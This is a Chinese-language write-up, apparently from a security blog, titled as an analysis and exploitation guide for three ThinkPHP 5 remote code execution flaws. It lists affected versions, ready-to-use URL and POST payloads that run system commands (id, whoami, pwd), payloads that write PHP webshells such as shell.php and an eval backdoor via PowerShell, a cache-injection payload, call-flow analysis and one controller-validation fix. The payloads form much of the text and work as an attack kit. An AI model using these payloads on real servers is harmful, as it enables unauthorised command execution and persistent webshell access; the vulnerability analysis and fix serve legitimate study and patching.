TP5 漏洞分析
字数 1363 2025-08-05 13:25:32
ThinkPHP 5 漏洞分析与利用指南
概述
本文档详细分析ThinkPHP 5框架中的多个远程代码执行(RCE)漏洞,包括漏洞影响版本、利用方法、复现步骤和漏洞原理分析。
RCE漏洞1
影响版本
- TP 5.0.7 - 5.0.24
- TP 5.1.0 - 5.1.30
利用Payload
5.0版本:
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
5.1版本:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
复现环境
- tp 5.1.29
- phpstorm
- phpstudy
- php7.3.9
复现步骤
- 下载对应版本TP:
composer create-project topthink/think=X.X.X TPX.X.X --prefer-dist - 修改composer.json:
"require": { "php": ">=5.6.0", "topthink/framework": "x.x.x" } - 执行
composer update
漏洞分析
-
请求处理流程:
- 进入
routeCheck()→path()→pathinfo() - 获取URL信息如
index/\think\Request/input - 判断是否为强制路由
- 进入
check()返回UrlDispatch对象 - 调用
init()方法解析URL为module/controller/action
- 进入
-
关键执行点:
- 通过反射机制实现RCE
- 控制器合法性检测缺失导致可调用任意类方法
写入Webshell
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
修复方法
在module类中增加控制器合法性检测:
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
RCE漏洞2
影响版本
- 5.0.0 - 5.0.10
利用Payload
http://127.0.0.1/thinkphp/tp5.0.10/public/index.php/Index/Test/test?username=%0d%0a@eval($_GET[_]);//
复现步骤
- 创建测试控制器
Test.php:namespace app\index\controller; use think\Cache; class Test { public function test() { Cache::set("name",input("get.username")); return 'Cache success'; } }
漏洞分析
-
执行流程:
- 进入
Cache::set()→init()→connect() - 返回
File类实例 - 在
File类的set()方法中调用getCacheKey() - 将
$name进行MD5加密作为文件名 - 拼接用户输入数据并写入文件
- 进入
-
生成文件内容:
<?php //000000000000s:24:" @eval($_GET[_]);//"; ?>
RCE漏洞3
影响版本
- 5.0-5.0.23(开启debug时)
- 5.0-5.0.12(无需captcha)
- 5.0.0/5.0.5/5.0.10/5.0.12(默认触发)
- 5.0.22等版本需要完整版或开启debug且加上
s=captcha
通用Payload
_method=__construct&filter[]=system&method=GET&get[]=whoami
Windows下写入Webshell
_method=__construct&filter[]=system&method=GET&get[]=powershell -c "echo '<?php eval($_GET[123]);?>' " >> 1.php
漏洞分析
流程分析1
- 请求处理:
http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha _method=__construct&filter[]=system&method=get&get[]=whoami - 路由注册后调用
think-captcha/src/helper.php - 进入
app.php→routecheck()→check() - 动态调用
__construct覆盖变量 - 通过
param()→method()→get()→input()→filterValue() - 最终调用
call_user_func执行命令
流程分析2
- 请求处理:
http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami - 通过
server()方法获取输入 - 同样最终到达
filterValue()执行命令
关键漏洞点
Request类的method方法中,_method变量可伪造请求方法$this->{$this->method}($_POST)参数可控- 动态调用
__construct时可覆盖filter、method、get等关键参数